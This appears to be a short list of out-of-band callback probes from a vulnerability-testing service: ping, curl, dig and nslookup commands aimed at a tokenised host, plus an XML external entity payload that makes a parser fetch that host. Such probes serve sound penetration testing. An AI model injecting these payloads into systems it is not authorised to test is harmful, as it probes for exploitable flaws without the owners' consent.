$ ping -c1 -p 00702956bda76a384c527d9082bf0900 unhack.ca
 

$ curl http://unhack.ca/p/702956bda76a384c527d9082bf09
 

$ dig 702956bda76a384c527d9082bf09 @unhack.ca
 

$ dig 702956bda76a384c527d9082bf09.ns.unhack.ca
 

C:\> nslookup 702956bda76a384c527d9082bf09 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/702956bda76a384c527d9082bf09">]>
    <foo>&xxe;</foo>